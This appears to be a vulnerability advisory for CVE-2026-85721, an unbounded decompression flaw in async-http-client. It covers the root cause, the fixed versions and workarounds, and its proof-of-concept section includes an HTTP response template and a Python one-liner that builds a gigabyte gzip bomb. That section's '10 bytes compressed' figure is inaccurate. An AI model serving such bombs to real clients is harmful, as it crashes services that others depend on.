high · 7.5CVE-2026-85721Sep 17, 2026

CVE-2026-85721: async-http-client Decompression Bomb DoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A rogue or intercepted server can send a tiny gzip-compressed HTTP response that expands without limit inside the Java client, crashing the JVM with OutOfMemoryError.

Packageorg.asynchttpclient:async-http-client
Ecosystemmaven
Affected>= 3.0.0, <= 3.0.11
Fixed in3.0.12

The problem

AsyncHttpClient's HTTP/1.1 response pipeline installs Netty's HttpContentDecompressor via ChannelManager.newHttpContentDecompressor() with no cumulative output-size limit. Any server that the client talks to, or any attacker that can modify a response in transit, can exploit this.

The client decompresses gzip, deflate, and snappy bodies by default. Brotli and zstd are also affected when their optional codecs are on the classpath. Delivering the payload as many small chunks bypasses any per-chunk limit, causing the total decompressed size to grow unchecked until the JVM heap is exhausted and an OutOfMemoryError is thrown.

Proof of concept

A working proof-of-concept for CVE-2026-85721 in org.asynchttpclient:async-http-client, with the exact payload below.

http
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/plain
Transfer-Encoding: chunked

# Serve a gzip bomb: 10 bytes compressed -> ~1 GB decompressed.
# Generate with Python on the attacker's server:
#
#   python3 -c "
#   import gzip, io, sys
#   buf = io.BytesIO()
#   with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as f:
#       f.write(b'\x00' * (1024 * 1024 * 1024))  # 1 GiB of zeros
#   sys.stdout.buffer.write(buf.getvalue())
#   " > bomb.gz
#
# Respond with that file as the body (Content-Encoding: gzip).
# AHC decompresses it into heap with no ceiling -> OutOfMemoryError.

The root cause is CWE-400/CWE-409: ChannelManager.newHttpContentDecompressor() constructed Http1ContentDecompressor without passing a cumulative decompressed-byte ceiling. Netty's own maxAllocation parameter only caps a single decode step, so splitting the bomb across many small chunks (chunked transfer encoding) defeats it entirely.

The patch adds a configurable per-response limit tracked across all chunks. The new config knob is setMaxDecompressedResponseSize(long) (HTTP/1.1) and setHttp2MaxDecompressedResponseSize(long) (HTTP/2). The decompressor now accumulates a running total of decompressed bytes and fails the response the moment that total exceeds the limit.

The default ceiling applied by 3.0.12 is 256 MiB per response.

The fix

Upgrade to async-http-client 3.0.13 (picks up both this fix from 3.0.12 and the Digest/Basic downgrade fix from 3.0.13) or 2.16.1 on the 2.x line.

If you cannot upgrade immediately: on 3.x, call setEnableAutomaticDecompression(false) and decompress manually with your own size guard. On 2.x there is no such toggle; remove the inflater handler via httpAdditionalChannelInitializer, or front the client with a proxy that enforces a response-size cap.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research